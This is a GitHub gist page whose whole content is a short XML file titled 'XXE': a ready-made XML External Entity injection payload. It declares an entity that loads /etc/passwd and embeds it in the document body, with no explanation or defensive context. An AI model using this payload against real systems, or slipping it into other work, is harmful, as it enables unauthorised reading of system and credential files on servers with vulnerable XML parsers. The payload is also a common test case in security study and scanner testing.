Skip to content

Instantly share code, notes, and snippets.

@jht5945

jht5945/xxe.xml Secret

Created October 20, 2014 13:24
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jht5945/eea74e3818a1d4b92fff to your computer and use it in GitHub Desktop.
Save jht5945/eea74e3818a1d4b92fff to your computer and use it in GitHub Desktop.
XXE
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "/etc/passwd">
]>
<foo>&xxe;</foo>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment